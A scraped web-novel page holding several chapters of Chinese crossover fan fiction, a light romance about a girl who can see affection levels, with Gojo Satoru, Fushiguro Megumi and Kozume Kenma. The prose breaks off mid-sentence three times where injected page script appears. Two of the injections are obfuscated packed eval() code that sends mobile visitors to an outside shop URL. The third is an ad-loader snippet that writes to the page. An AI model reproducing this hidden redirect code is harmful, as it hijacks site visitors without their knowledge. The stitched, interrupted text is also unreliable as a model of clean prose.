他脑袋手感真不错啊,头发软软的。天海瑞穗又悄咪咪多摸了两下,才在伏黑惠的投喂下收回手,往他那边挪了挪。 五条悟根本就只是挨着她的肩膀,于是现在,她挪开之后,他的脑袋保持着之前的姿势,在空气中静止了两秒,才跟什么都没发生过一样,甩了甩头发,抬起了头。 天海瑞穗已经亲亲热热地叫着真希,跟她加上了Line好友,甚至ig都互关了。 见状,熊猫也抓着狗卷棘一起,和她互换了联系方式。 “叫我瑞穗就好啦,我都叫你们的名字了嘛。”天海瑞穗对他们很有好感。 伏黑惠能和前辈们相处得这么好,她也就放心了。 但是饭吃到一半,天海瑞穗突然意识到一个问题。 为什么只有前辈?他的同期同学呢? 她这么想着,借着给伏黑惠夹菜,小声问他:“这是你社团的前辈吗?” 伏黑惠一脸问号。 她又在脑补些什么? 他摇摇头。 天海瑞穗如临大敌:“那为什么只有你一个一年级的啊?和同学相处得不好吗?” 她眼里有着不易察觉的担忧,左手不自觉地收到了桌下,用指甲在指腹上不轻不重地压了几下。 伏黑惠只能表以沉默。 整个高专一年级就只有他一个人……他很难说出这种话。 于是他说:“没有相处的不好,就是这次正好跟着前辈做任务。” 他看了眼坐在天海瑞穗右边的五条悟。他并没有吃饭,而是在吃天海瑞穗没吃完的那半个芝士蛋糕。 伏黑惠目光闪了闪。 他不动声色地把筷子换到左手,右手则放到桌下,明明没看,却准确地握住了天海瑞穗的手。 天海瑞穗被吓了一跳,但意识到是伏黑惠,她立刻就冷静下来。 攥在一起的手指被缓缓分开,那双手从她被指甲压出小小红印的指腹上轻轻拂过。 天海瑞穗没反抗,乖乖跟着他的手走,然后,她的手就被稳稳放在了自己的腿上。 伏黑惠只是把她的手掰开,不让她再用指甲掐指腹而已。 明明从小到大一直都在一起,更亲密的接触也是有的,之前碰到手也没觉得有什么,但此刻,天海瑞穗莫名觉得脸有点发烫。 她低着头,库库夹眼前的菜吃。 可能是因为这会儿对面还有几个不太熟悉的前辈们,所以才觉得有点奇怪? 嗯!一定是这样的! 虽然想通了,但天海瑞穗脸上的温度依旧没有退去。 偏偏伏黑惠这时候还突然开口:“我们学校比较特殊,五条老师虽然没有教师资格证,但也是正式聘请的,没有什么问题。” 话题中心的五条悟却好像完全不在线。 他戴着眼罩,明明应该是看不见的,但给天海瑞穗的感觉,却是他在似笑非笑地看着伏黑惠。 天海瑞穗只是点头:“好哦,这样的话我就放心了。” 然后继续当鸵鸟。 这顿饭吃到最后,天海瑞穗一扭头,发现自己剩下的大半个芝士蛋糕被五条悟吃得一点不剩,而他本人,大概根本就没吃几口饭。 天海瑞穗皱着眉,有点生气。 五条悟立马举起手:“给你买新的!老师知道一家新开的店很好吃哦。” “我不要。”天海瑞穗听到他的话,更生气了。 她哪里是生气他把蛋糕都吃掉,她生气的是他又不好好吃饭,只吃甜品。 而五条悟这种开玩笑打哈哈的态度,也让她有点不开心。 饭后,真希她们要回高专,问五条悟要不要回去,他只是看着脸撇到一边,和伏黑惠正说着什么的天海瑞穗,唇角轻轻牵起,说:“你们先回去吧,我还要哄小朋友呢。” 他腿一迈,一手一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556162|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀,硬生生插到两人中间:“说什么悄悄话呢?难道是在夸老师好帅?” 性格迥然不同的两个幼驯染,此刻露出了一模一样的嫌弃表情。 伏黑惠拍开自己肩膀上的那只手,顺便也帮天海瑞穗拍开了。 五条悟也不生气,侧着身子弯腰,把自己的脸接着凑上去:“我们去再买几个甜品吧,你想不想喝奶茶?” 一连说了好几个天海瑞穗喜欢的,可她还是不怎么理他,甚至气得鼓起了脸。 天海瑞穗脾气一直都很好,不怎么生气,所以现在,五条悟看着还有点新奇。 他忍了忍,但没忍住,于是很愉快地顺着自己的心意,伸出一只手来,在她鼓起的脸颊上戳了一下。 软软的。 圆鼓鼓的脸颊中间,被他的手指戳出了一个浅浅的凹陷。 天海瑞穗一惊,还来不及打开他的手,脸又被捏了一下。 就一下,力度也很轻。 五条悟声音里都带着笑:“别生我的气啦?” 天海瑞穗闭了闭眼,觉得自己已经被他惹得心平气和了。 她看着五条悟:“你不能总把甜品当饭吃。” “该补充的蛋白质和维生素都很重要的,要好好吃饭,甜食可以当下午茶或者饭后甜点啊。” “嗯嗯!”五条悟小猫点头,“小瑞穗这么关心老师的身体啊?老师好感动。” 天海瑞穗露出奇怪的眼神:“我难道不应该关心你吗?” 他们怎么说也都认识了这么多年,对她来讲,五条悟也已经是家人了。 还有—— “我不是小朋友。”她有点郁闷自己为什么总被当成小孩。 无论是五条悟还是津美纪,哪怕是伏黑惠,面对她的时候,总有一种把自己放在更成熟一方的感觉。 她态度认真地重述道:“我已经不是小朋友了。” 所以,不要再把她当小孩哄,也不要什么事都瞒着她。 “我已经长大了,以后,也可以保护你们的。” 五条悟不再笑了:“这样啊,小瑞穗已经长大了啊。” 他突然看向伏黑惠:“小惠,小瑞穗我就先借走了哦。” 不等伏黑惠作出回应,他一把捞起天海瑞穗的腰,身形闪了几下,就消失在了原地。 身边空无一人,伏黑惠紧盯着他们消失的地方,缓缓握紧了拳。 只是一眨眼的功夫,天海瑞穗从五条悟的怀里退出来的时候,身边就已经大变样了。 她好奇地探了探四周,倒不是很惊讶。 但想了想,她还是拿出已经磨练过很久的演技,作出一副很惊讶的样子:“诶?这是哪?” “你怎么做到的?用跑的吗?我完全没觉得颠簸啊。” 五条悟只是闷闷地笑了一声,手指缓缓伸进眼罩里,勾起一个角。 那双被无数人赞叹过的蓝色眼睛在夜色里格外明亮,胜过万千星辰。 他弯下腰,脸凑得很近,直直盯着天海瑞穗的双眼。 “那么小瑞穗,你没有什么要问老师的事情吗?” “什么事情?” 天海瑞穗隐约觉得自己就像是被猛兽盯住了一样,有点发毛。 “诶——”他拉了一个长音,语气漫不经心,“我以为小瑞穗有话想问老师……一直盯着我的头顶看呢。” 15.Chapter 15 在五条悟那双苍蓝之瞳的映照下,天海瑞穗感觉自己的一切秘密都好像无所遁形。 有那么一刻,她真的想全部坦白,告诉他自己突然能看见别人的好感度了,告诉他虽然她嘴上说着自己是天选之子,但实际上很害怕。 再问问他和伏黑惠到底在做些什么事。 但是,不想说出口。 她说不清自己是抱着什么样的心情。 或许是害怕,但平心而论,更多的原因可能是一种……报复? 既然他和伏黑惠都有事情瞒着她,那她又为什么不能有所隐瞒呢? 意识到这点的时候,她就陷入了一种自我厌弃中。 她明知道他们的隐瞒是出自保护她和津美纪的目的,却还抱着这么卑劣的想法。 最后,天海瑞穗也只是微微往后退了半步,抿着唇,作出一副有点被吓到的样子。 “悟,你这样好吓人哦。” 她语气平静,和过去每一次被他恶作剧时的反应一模一样。 毫无破绽。 五条悟饶有兴致地摸摸下巴。 不知不觉间,她的确长大了,连演技都精湛了不少。 他后退一步,语气夸张又欠揍:“吓到你了吗?抱歉抱歉。” “那可能是老师看错了。”这次,五条悟没有再像以前那样,很随意地、像是逗小猫小狗一样摸摸她的头。 他干脆垮上旁边的花坛,蹲在窄窄的边沿上,这样,他们就处在一样的高度,不需要他再弯着腰了。 他腿长,蹲下来的时候,压迫感瞬间化无。 “小瑞穗在学校里有在意的人吗?”像正常的家人聊天那样,他问。 虽然不明白为什么聊天跨度这么大,但是对于天海瑞穗来讲,能跳过刚才那个话题,当然是一件好事。 她于是歪着脑袋,仔细搜罗了一下:“有的哦。” “什么什么?跟老师倾诉倾诉吧?” 他好八卦哦。 天海瑞穗这么想着:“可以是可以,但是小惠那边呢?” 她一本正经:“不可以丢下小惠不管,他会担心的。” 五条悟晃了晃手机,上面是和伏黑惠的聊天框:“他去接津美纪了哦,待会儿我送你回去。” 他什么时候聊的天?完全没见到他用手机啊? 天海瑞穗不明觉厉。 她点点头:“那好吧,但是我不想在这里讲。” 五条悟带她走的时候,大概没怎么挑挑拣拣,他们待着这地方也只是人少,但并不是没人。 她能感觉到几道隐晦的视线。 五条悟很好说话,立马就要带着她去甜品店。 天海瑞穗不是很想再演一次对他的惊讶,于是严词拒绝了他要抱着她走的这个念头。 本来也是刚吃完饭,她其实并不太想再吃点甜品了,正好路上瞄到了一家琴行。 “等等!”天海瑞穗立刻拽住五条悟的袖子,拉着他往那边走,“我想先去那边看看。” “怎么突然对乐器感兴趣了?你不是参加的戏剧社?”五条悟顺着她的力道往前走。 天海瑞穗头也不回:“是我的同学……啊,你刚刚说在意的人,其实她就是,名字叫后藤一里。” “她?”五条悟难得卡壳,“你在意的人不是男生?” “男生也有一个啦,不过琴行是因为后藤同学有在弹吉他。”她完全没在意五条悟的纠结,有点苦恼地说,“她丢了一个拨片,我说要帮她找找,但是于是没有见到。” “就想着琴行里能不能买到一个呢?” 她的在意,原来是这种意思啊? 五条悟有点想笑。 琴行的墙壁上挂着不同的乐器,以吉他为主,当然里面也有她上次闹了笑话的贝斯。 见到五条悟,店长大概觉得他很有消费实力,很是殷勤地走过来做导航:“两位想买什么乐器啊?” 天海瑞穗很礼貌地点点头:“你好,我想看看拨片。” 她想了想,补充道:“吉他拨片,我不太清楚什么厚度合适,能请你帮我推荐吗?” “是要送人的吗?”店长拿出店里的拨片,“这些都可以。” 里面并没有一个粉色,上面印有锁链图案的。 但是有相似的款式。 天海瑞穗很是意动。 虽然相同的是找不到,但类似的送给她也不错吧? 她很喜欢后藤一里,想和她做朋友。 于是,天海瑞穗问过价格之后,在心里点了一下零花钱的使用情况,很是豪迈地指了指:“这个,这个,还有这个……我都要。” 她挑的全是粉色。 后藤一里总是穿着粉色运动服,想必是喜欢粉色的。 “我们这里还可以穿孔做项链或者手链哦。”虽然她只买拨片,但店长依旧很是热切地介绍。 天海瑞穗很心动,她看了看,挑出一个最好看的:“那这个多拿一个好了。” “链子可以挑吗?” “可以的,这些都是我们的样品,您可以参考一下。” 天海瑞穗想问问五条悟的意见,但一扭头,却发现旁边早就没人了。 五条悟在看墙上挂着的琴。 她叫了一声:“悟,快来快来!” “帮我挑挑哪个好看,我要送人的。” 五条悟倒是不敷衍,仔细看了看,指着其中一个:“这个吧。” “我以为你会选那个花里胡哨的?” 五条悟低声笑了笑,没解释。 要订做项链的这个拨片要晚两天才能拿到。 五条悟自告奋勇:“我可以来取哦。” 可是他平时的甜品都是别人给排队买的啊。 事出反常必有妖,天海瑞穗狐疑地看了她一眼。 可他戴着眼罩,都说眼睛是心灵的窗户,从五条悟关着的窗户上,根本就什么都看不出来。 但他大部分时候其实还是靠谱的,所以就交给他也没有关系。 应该……是靠谱的吧? 看着不知道在跟店长聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567162|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些什么,惹得对方连连发笑的五条悟,天海瑞穗有点怀疑。 付了钱,拿着装了拨片的小礼盒,天海瑞穗在心里幻想着后藤一里收到后的反应。 但五条悟又问她关于在意的男生的问题。 他还没八卦够啊? 天海瑞穗戳戳他:“悟,你好八卦哦。” 五条悟反过来晃晃她的手,用比她还要更像个jk那样的语气撒娇:“诶?讲嘛讲嘛!” 他的手倒是很热。 天海瑞穗忍不住低头,他两只手扒拉在她手上,还轻轻晃动着。 很漂亮的一双手。五条悟哪里都很精致。 对着他的撒娇,她总会妥协的。 于是她回忆了一下孤爪研磨。 其实在成为邻坐之前,她就见过他了。 那时候,她跟着学校里的猫来到了体育馆后,因为大部分人都在教学楼前设置的社团招新处,这里并没有别的人。 音驹的猫很亲人,她摸着摸着,就忘记了时间。 直到学校广播里开始播报—— 【高一3班的的天海瑞穗同学和孤爪研磨同学,听到广播后请立刻来教室。】 连着播报了三次,天海瑞穗从猫猫温暖柔软的肚皮上回过神来,僵硬着身体,看了眼手机。 完了,早读都结束了。 就在这时候,一道人影从树干后面走了出来。 黑发金眼,满脸困倦。 天海瑞穗立刻就把他的脸和名字对上了号。 孤爪研磨。 但她当时的第一反应是—— 他是猫妖化形吗? “诶——猫啊。”五条悟若有所思地看着她,“他多高?” 天海瑞穗对答如流:“一米六八!” 体检的时候,她可是有特意关注过的。 在她回答结束之后,五条悟先是笑了一下,接着,神色中透露出一点隐隐约约的无语来。 “你还真是喜欢这个类型的啊。” 天海瑞穗皱皱鼻子:“你这是在嘲笑我吗?” 随后,她又为自己辩解:“我对孤爪同学没有那种心思啦……连着被拒绝两次,就算是我也很难过的诶。” 五条悟摸摸她的脑袋,声音很轻:“那我安慰安慰你?” “那我谢谢你?”天海瑞穗学着他的语气。 一阵静默,五条悟突然问她:“小惠呢?” “你觉得小惠怎么样?” 天海瑞穗抿抿唇,还是没忍住吐槽他:“悟,你今天真的好八卦。” 但是这个问题对她来讲很好回答。 “其实我也不清楚对小惠到底是什么样的感情,我们毕竟从小就待在一起……” “但是他又不喜欢我,所以这种事情根本就没什么好纠结的啦。” 听到她的回答,五条悟突然大笑起来。 好不容易直起腰来,他看着天海瑞穗那双满是天真懵懂的狗狗眼,忍不住用食指戳了戳她的额头。 “你根本就是个笨蛋吧。” 16.Chapter 16 在黄金周的最后一天遇见孤爪研磨,是天海瑞穗怎么也没想到的事情。 其实在推开体育馆的门之前,她就已经听到了里面传来的声音。 但她并不觉得会是排球部。 一方面,是因为听说音驹的排球部虽然以前很强,但现在没落了。 另一方面,是有一种虽然很期待能见到他,但又觉得没有没有那么巧的事情。 怎么刚和五条悟讲完他的事情,就见到了呢? 于是,看见孤爪研磨的时候,有那么一刻,她甚至在想,是不是看见幻觉了啊? 但体育馆里球鞋奔跑的声音,击球的声音……这些都在告诉她并不是幻觉。 排球部还就真的在这个时候来训练。 她的视线一直牢牢锁定在孤爪研磨身上,看他神色冷静地观察着网对面的动向,然后把球传到合适的攻手手里。 看着看着,不自觉地,她居然就走到了旁观的看台区坐下了。 此前,天海瑞穗一直都觉得排球很可怕,哪怕对孤爪研磨很感兴趣,也从来没有去看过他们的训练。 但现在,她看着场上的孤爪研磨,居然觉得排球好像也还不错。 她的邻座平时明明一副提不起干劲,只对游戏感兴趣的样子。 但在球场上,却会显出一种锐利的锋芒来。 孤爪研磨是一个对他人视线很敏感的人,在她刚踏进体育馆,将目光寄存在他身上的时候,他就已经注意到了天海瑞穗的存在。 因为正在进行练习赛,他并没有分心。 只是更加冷静地盯着对面的拦网,用眼神误导他们向福永招平起跳的方向跃起,作出拦网的动作。 计划得逞,他手腕一转,排球就轻飘飘地跃过拦网,落到了对面的场地上。 二次进攻。 全场震惊,天海瑞穗也跟着大为震撼。 从她这个角度,可以把孤爪研磨刚才的每一个微表情都看得清清楚楚。 他居然能把视线诱导用到这种程度,假如被她们戏剧社的北川社长见到,一定会想从排球部挖过来的。 计分牌被翻了一页,孤爪研磨这一方率先达到25分。 他的二次进攻直接结束了比赛。 有、有点帅。 比赛结束之后,孤爪研磨接过黑尾铁朗递过来的水和毛巾,随意擦了擦。 “不去打个招呼吗?反正训练也结束了。”黑尾铁朗意有所指地说。 孤爪研磨撇撇嘴,又喝了一口水:“我自己会去。” 在幼驯染的笑声和其他部员好奇惊讶的目光里,他朝着天海瑞穗走了过来。 “孤爪同学,刚才的那招好厉害啊!”不等他走近,天海瑞穗就露出了星星眼,“超帅的!” 孤爪研磨嘴唇动了动,最后也没能对她的评价作出回应。 他站在天海瑞穗正前方,正好可以挡住她。 她仰着头,从口袋里摸出两颗糖给他。 这次是苹果味的。 见他接过后,没有放进口袋里,而是当场拆了包装含进嘴里,天海瑞穗的眼尾眉梢都扬起了明媚的笑意。 清甜的苹果香气在口腔里蔓延开。 她看他的眼神和别人不一样……和任何人都不一样。 孤爪研磨舌尖轻轻抵在在小小的硬糖上。 听她问为什么假期还来学校训练。 “小黑组织的,不过只有一年级和二年级。” 他回答得言简意赅,但天海瑞穗立刻就明白了。 讨人厌的前后辈制度嘛,并不是每个社团都像她所在的戏剧社这样,会不论年级,只考虑演技和合适与否来定角色。 她知道他口中的小黑是指二年级的黑尾铁朗,之前有在教室门口看见过他来找孤爪研磨。 她偷偷瞄了一眼,发现后面很多人都在看着这边。 “啊……我是不是打扰你们训练了?”天海瑞穗有点不安,“你不用管我,我待会儿就走了。” 孤爪研磨没动,讲话的声音很低:“没关系,训练结束了。” 他说完,就用那双眼尾微微上扬的猫眼看着她,明明并没有问出口,但就是给人一种询问的感觉。 “戏剧社刚开完会,正好路过体育馆,就想着要不要来练练垫球。” 天海瑞穗语气变得有点低落:“毕竟要在考核的时候拿高分嘛。” 孤爪研磨点点头,还没来得及开口说话,肩膀就是一沉。 不知道什么时候,其他人都已经散掉了,只留下黑尾铁朗一个人。 他走过来,还把一只胳膊搭在他肩膀上,笑着和天海瑞穗打招呼:“你就是天海吧?我们之前在教室门口见过的。我是二年级的黑尾铁朗。” 他身材也很高大,这么站在她前面,很有压迫感。 天海瑞穗迅速起身,拍拍裤子,对着他微微点了下头:“我记得的,黑尾学长。” 她很客气。 其实最开始也是有被社团的一年级们叫前辈的,但被可爱的女孩子这么叫,感觉还是不太一样。 黑尾铁朗有点新奇地摸摸鼻尖。 孤爪研磨却不乐意。他肩膀动了动,从幼驯染的手臂底下挣脱出来:“你吓到她了。” 他语气很轻,眉毛却微微皱着。 “啊——抱歉抱歉。”黑尾铁朗像是有点意外,迅速地看了一眼孤爪研磨。 天海瑞穗连连摆手:“没关系的黑尾学长,是我自己的问题。” 在她又叫了一声黑尾学长后,对方的唇角隐隐有再次上扬的趋势。 但很快就被孤爪研磨打断了,他毫不客气地说:“不叫学长也没关系。” 黑尾铁朗还想说点什么,但在幼驯染的眼神下败下阵来,只能在心里叹口气:“直接叫名字就行,我和研磨是幼驯染。” 听到关键词,天海瑞穗一下子支棱起来。 她也有幼驯染! 只是……她忍不住偷偷观察着黑尾铁朗。 他声音怎么和五条悟怎么这么像。 简直一模一样! 要不是外形差太远,她都要怀疑他是不是五条悟素未谋面的亲兄弟了。这世界上真的有两个陌生人的声音会像到这个地步吗? 她的视线很隐晦,并没有引起黑尾铁朗的注意。 倒是孤爪研磨,因为一直以来都对视线很敏感,注意力又都放在她身上, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 理所当然地注意到了她态度的微妙转变。 对于这种转变的原因,他心里也有猜想。 是因为她也有幼驯染吧。 他记得她有一次提到过,一个叫惠,一个叫津美纪。 她和两个幼驯染的关系很好。这是不需要观察就可以得出的结论。 察觉到他们之间似乎有一种独特的气氛,黑尾铁朗视线在两人身上来回打转:“你们刚才说什么?要在考核上拿高分?” 他目的实在太明显,但天海瑞穗和他不熟,又想着他和孤爪研磨是幼驯染,于是没多想,就直接摊牌了:“体育课的时候拉着孤爪同学偷懒,被老师抓住了。” “惩罚是要在排球考核的时候拿高分。” 她眉眼低垂着,沮丧得好像一只淋了雨的小狗。 孤爪研磨却在这种时候突然开口解释:“是我先坐下偷懒的。” 天海瑞穗很是感动地看了他一眼。 “你们两个都被罚了?”黑尾铁朗努力憋着笑,收获了一个幼驯染的眼刀。 因为他孤爪研磨幼驯染加前辈的身份,天海瑞穗甚至有一种带坏人家的孩子被家长抓包的心虚感。 她“嗯”了一声,脑袋都不敢抬起来了。 谁知黑尾铁朗只是笑了几声,拍拍孤爪研磨的背,把他推了出来:“既然考核是排球,那让研磨教教你呗。” 这怎么可能。 天海瑞穗最开始也有想过要不要请他帮忙的,但后面想了想,实在是很难厚着脸皮去问。 孤爪研磨那么怕麻烦的一个人,连累到他就已经很抱歉了。 但想象中他的拒绝却迟迟没有到来。 她抬起头。 孤爪研磨也正在看着她。 正是太阳落山的时候,有暖橙色的阳光透过体育馆上下两排窗户,斜斜倾洒下来。 这余晖像是对他多了很多偏爱,不偏不倚地照着他。让他眼里的所有情绪都无所遁形。 天海瑞穗后知后觉地理解了他沉默的意思。 天气放晴。 她很上道,用湿漉漉的眼神看着他,期待地问:“可以吗!” 孤爪研磨别开眼,快速点了下头。 他黑发间,隐约能看得见一小截耳尖。 天海瑞穗迟疑地把他和小猫的耳朵划伤了等号。 因为,猫耳朵也这样啊,在光底下,透出这样微粉的颜色。 用手摸,会发觉也是温热的。 这种热度会由指尖的皮肤逐渐渗透进去,很奇妙。 在她的眼中,他头顶的好感度闪了一下。 60-58。 诶?怎么还掉好感度的? 难道他真的不愿意吗,刚才只是碍于幼驯染的面子才答应她的?天海瑞穗有点慌张。 她不愿意让别人为自己的事情而为难。 尤其这个人还是孤爪研磨。 她斟酌着,想说要不还是算了,她可以自己在网上看视频学的。 但在她开口前,属于孤爪研磨的好感度又发生了变化。 这次,没有再像以前那样一点两点的加。 金色爱心旁,数字骤然由58跳到了65。 17.Chapter 17 尽管孤爪研磨的好感度条反复横跳了一下,但最后的结果是涨了5点,又得到了他会教她打排球的承诺。 因此,哪怕今天是假期结束要开学的日子,天海瑞穗也心情很好地起了个大早,换上提前一天熨烫过的学校制服。 出卧室门的时候,她在客厅里意外见到了已经一周没见的母亲天海筑紫。 她大概是凌晨才到东京,回家后匆匆补了一会儿觉,又起来做了一桌早餐。 日式和西式都有。 对于常年吃面包的天海瑞穗来讲,这桌早餐相当丰盛。 “早上好。”她率先打了个招呼。 天海筑紫打着哈欠,也随意招了招手:“你怎么起这么早……心情很好吗?” “是哦,心情超好的。”天海瑞穗哼哼笑了两声。 “早知道你这么高兴开学,我就不早起给你做这一桌子了。”天海筑紫吐槽道,“我高中那会儿假少得可怜,每天最烦去做任……上课了。” 天海瑞穗没注意她话里的停顿,很好奇:“我好像从来没听你说过这些诶,你高中的时候在哪个学校啊?” 天海筑紫眸光闪了闪,给天海瑞穗的那份吐司上挤了个歪歪扭扭的小狗:“先吃吐司吧,今天这个我相当有自信。” 很轻易就被转移了注意力的天海瑞穗:“好!我试试看!” 见她这么好骗,天海筑紫在心里笑了几声,夹起一块玉子烧,说:“我打算买栋房子,你明天下午放学后跟我去看看有没有喜欢的。” 她说买房子的时候,语气就跟买个甜品一样轻松。 天海瑞穗吃饭的动作停顿了一下,诧异地看了一眼母亲,在发觉对方神色平淡,并不像是随口开玩笑的那刻,她的脑袋里经历了一场大地震。 顿时,咬了两口的吐司也吸引不了她了。 她问:“多大面积?” 假如是40平,那应该还算正常。 天海筑紫擦擦嘴,也犯了难:“你想要多大的?只有两个人的话200平应该就可以了,你喜欢一户建还是公寓?” 天海瑞穗冷笑一声,面无表情:“你怎么大清早就乱开玩笑啊?今天可不是愚人节。” “我没在开玩笑啊,真买。” 仔细判断了一下,得出她真的没有在说谎这样的结论。天海瑞穗更惊恐了,她声音都有点飘起来:“你可不能干那些违法乱纪的事情啊!” 天海筑紫:“?” 她难道生了个脑子有问题的? 在她的无语静默中,天海瑞穗也冷静下来:“我以为我们家很穷来着。” 在天海瑞穗的记忆里,天海筑紫之前一直都是家庭主妇,是离婚后才出去工作的,而姥姥住在很破旧的公寓里……她一直以为家里没钱,暑假和寒假都去便利店打零工,平时母亲时不时给的零花钱也总是会攒起来。 听她讲完,天海筑紫也觉得一言难尽:“我以为你出去打工就是纯爱赚钱……你姥姥那时候确实是发生了点事才住那儿的,零花钱也是因为我经常忘了给。” 她叹了口气:“算了,你没必要知道那些。总之你先想想想住什么样的房子吧。” 天海瑞穗走进学校的时候,还有点恍惚。 不过吃到了很丰盛的早餐,包里装着难得不是她自己做的便当,还收到了一笔零花钱。总体来讲,心情很好。 因为来得早,她先去了体育馆后面,也就是第一次见到孤爪研磨的地方。 学校里的猫基本都爱在这里聚集,平时会有很多学生给它们喂食,放假的时候,学校的保安会额外给它们准备食物和水。 天海瑞穗就属于常来喂的那种人,因此,这些猫和她关系都很不错。 已经有两只很粘人的橘猫凑过来,扑通一下倒在她鞋子上。 其他猫也都粘过来,在她小腿边蹭来蹭去。 毛茸茸的,触感很好。 天海瑞穗幸福得快要冒泡泡了。 她干脆蹲下来,摸摸这个摸摸那个,每一只都按摩了个遍,才从双肩包里翻出一盒猫粮一盒主食罐头,在此起彼伏的“喵喵”声中,拆开放到地上。 一群胖猫聚在一起吃饭,只留下一只小小的三花猫还蹭在她腿边。 天海瑞穗摸摸它的耳朵,把它往前面推了推,示意它快去吃饭。 一直蹲着有点腿麻,她于是在台阶上垫了本书,坐下来。 但那只三花就像是特别特别喜欢她一样,跟着来到了台阶上,甚至跳到了她腿上。 让人心软软。 从身后传来了很轻的脚步声。 天海瑞穗并没有回头。 那道脚步声并没有因为发觉这里有人而停下或离开,反倒越来越近,最后停在了她身后。 天海瑞穗仰头。 视野里出现的是一张熟悉的脸。 孤爪研磨低着头看她,一头耀眼的金发因为重力而下垂。 原本没有任何悬念的,在听到脚步声的那一刻就清楚来的人是谁。 但现在,天海瑞穗瞳孔都微微放大,一脸震惊。 “孤、孤爪同学?!” 他怎么染头发了! 明明昨天见面的时候都还是黑发,怎么过了一晚上就变成金色的了? 怀里的三花猫大概也认识孤爪研磨,脑袋在她手掌心又抵了几下,才站起来,跃到地面上,弓着身子伸了个懒腰。 随后,它迈着优雅的步子走到孤爪研磨身边,也在他小腿上轻轻蹭了一下,算作打招呼。 动作很矜持,只是高高竖起的尾巴暴露了它的心情。 明明就很喜欢孤爪同学嘛。 天海瑞穗想站起来,但孤爪研磨已经坐到了她旁边的位置上。 他穿着排球部红色的队服,再搭配金发,和平时穿校服的样子完全不一样。 天海瑞穗很是稀奇地看着他,问:“怎么突然染头发了?” 还是这么耀眼夺目的金色。 孤爪研磨声音闷闷的:“昨天虎……社团里的人说我总是低着头像贞子,很惹人注目。” 对于他来讲,这个消息应该像晴天霹雳一样吧。 所以是因为不想惹人注目,才染了金发吗? 确实,金发的话哪怕是低着头也不会像黑发那样阴森森的。因为金发很耀眼嘛。 可是,问题就在这里。 首先,天海瑞穗要先为自己辩解一下。 她从来都没有绝对孤爪研磨低着头很像贞子,当然也不像伽椰子。她的邻桌那么可爱,怎么会和鬼沾上边。 其次,他金发的样子比黑发要显眼得多。 真的。 特别显眼。 碍于他似乎真的在为这件事困扰,所以天海瑞穗并没有把实话说出口。 但是孤爪研磨很敏锐。 他看天海瑞穗的眼神变得凶凶的,语气也比平时更加高昂了一点:“是你说的金色适合我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 啊,炸毛了。 可爱。 天海瑞穗觉得手有点痒。 昨天晚上回家后,她仔细思考了一下为什么孤爪研磨的好感度会突然下降两点,再涨回去。 当时她并没有说话,也没有什么别的多余的动作。 硬要说的话,就只有眼神了。 因为孤爪研磨微红的耳尖很可爱,让她幻视了猫耳朵,血槽直接被清空,所以她当时的眼神似乎有点不加掩饰。 当时孤爪研磨本来就有点别扭了,被她那么一盯后,感到害羞,又因为害羞的情绪而更害羞了。 好像在套娃。 但大概率就是这么回事。 所以现在,天海瑞穗既要控制自己的目光,又要控制自己的手。 很是辛苦。 她余光瞄到吃完饭,悠哉悠哉走到她旁边舔着嘴的小三花。 犹豫了只一秒,她就一把抱起这只三花,放在腿上,从耳朵尖摸到尾巴尖。 一个字:爽。 撸猫的确有助于人类的心理健康。 关于他说的那句话,她当然有印象。 是她刚刚拥有看到他人好感度的那天,孤爪研磨给了她布丁作为饼干的回礼。 因为他头顶的爱心很好看,天海瑞穗说过他或许很适合金黄色的头发。 他居然还记得啊。 这个认知让天海瑞穗很开心。 现在,她当初的话得到了印证。孤爪研磨染金色的头发的确很好看。 在看到他的第一眼,她甚至觉得自己的呼吸都快要停滞了。 “是很适合孤爪同学哦。”天海瑞穗唇角上扬,讲话的时候尾音也变得可爱起来,“超级好看!刚才看到的时候我都被惊艳得说不出话来了。” 她捏了捏小三花软软弹弹的肉垫,觉得手痒得感觉被缓解了,又把被摸得直呼噜的猫抱到孤爪研磨怀里。 怀里猝不及防被塞了一只肉嘟嘟暖呼呼的猫,眼前印着天海瑞穗眉眼弯弯的笑脸,耳边是她用清脆的声音讲的好听话。 孤爪研磨甚至有些不知所措。 在天海瑞穗把猫递过来的那一刻,他的手下意识地就已经抱住了它。 ——连带着她的手一起。 手掌覆盖在另一只手上,隐约间,或许是他的错觉。孤爪研磨甚至觉得自己的心跳已经透过手指传递给了天海瑞穗。 往上看,天海瑞穗碧绿的双眼一眨不眨地看着他。 仿佛是将一整片湖泊倾倒了进去,水盈盈的。 两人同时收回手。 天海瑞穗心跳得飞快,低着头,两只手绞在一起,好像这样,左手上的余温会消散得更快一些。 然而余温还未消散,她就发现了另一个问题。 她的裙子上沾满了猫毛。 白的黄色黑的,在她深灰色的百褶裙上,显眼无比。 扭头看,孤爪研磨腿上也沾上了不少猫毛。 这些猫毛的主人正舒舒服服趴在他腿上,一下一下舔着爪子。 天海瑞穗:“……” 真是甜蜜的负担。 她犹豫了一会儿,感觉心跳好像平复了一点,把这个发现告诉了孤爪研磨。 